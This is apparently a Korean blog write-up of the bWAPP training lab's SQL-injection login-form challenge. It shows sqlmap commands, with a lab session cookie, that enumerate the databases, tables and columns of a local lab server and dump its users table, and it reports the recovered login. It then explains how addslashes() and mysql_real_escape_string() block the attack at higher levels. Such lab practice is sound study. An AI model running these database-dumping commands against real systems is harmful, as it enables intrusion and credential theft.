bWAPP A1 SQL Injection (Login Form/User)
itsecgames.com
www.itsecgames.com
이전 문제와 동일하게 로그인 폼에 인젝션을 하는 문제이다.
하지만, 이전 문제와 다르게 single quote를 입력해도 서버에서 실행되는 sql 구문이 출력되지는 않는다. kali에 설치된 sqlmap으로 db 정보를 탈취해보자.
low
sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정
--cookie="security_level=0; PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송
--data "login=seok&password=seok*form=submit" // 파라미터 설정
--dbs // DB 스키마 정보 확인
먼저 DB 스키마에 대한 정보를 알아보자.
[사진 3]의 명령을 실행하면 위와 같이 타겟 DB의 스키마를 확인할 수 있다.
sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
--tables // 테이블 정보 확인
[사진 5]의 명령을 실행하여 테이블 이름을 확인할 수 있다.
sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
--columns // 컬럼 정보 확인
sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
-T users // 테이블 지정
-C login,password,secret // 컬럼 지정
--dump // 결과 저장
[사진 9]의 명령을 실행하면 지정한 테이블의 컬럼의 데이터를 출력한다. 복호화되는 경우 원본 값을 출력되기도 한다.
* sqlmap 옵션은 별도로 공부가 필요해 보인다.
[사진 10]에서 확인된 계정 정보(login: "a.i.m.", password: "bug")를 입력하면 위와 같이 인증에 성공한다.
medium
medium 레벨이다. [사진 3]의 명령문에서 security_level 값을 1로 수정하고 취약한 파라미터인 "login"을 지정하고 실행하면 된다. 하지만, [사진 13]과 같이 "login" 파라미터 인젝션할 수 없을 것 같다고 한다.
medium 레벨의 경우 addslashes() 함수로 파라미터를 필터링하는데, 이전 문제들과 마찬가지로 single quote 앞에 backslash가 붙어 SQL Injection 공격이 어렵겠다. (우회 방법은 구글링 하면 나오긴 함.)
high
high 레벨이다. security_level 값을 2로 수정하고 실행하면 medium 레벨과 마찬가지로 공격이 먹히지 않는다.
high 레벨의 경우 mysql_real_escape_string() 함수로 파라미터를 필터링 하며 medium 레벨과 마찬가지로 SQL Injection 공격이 어렵다.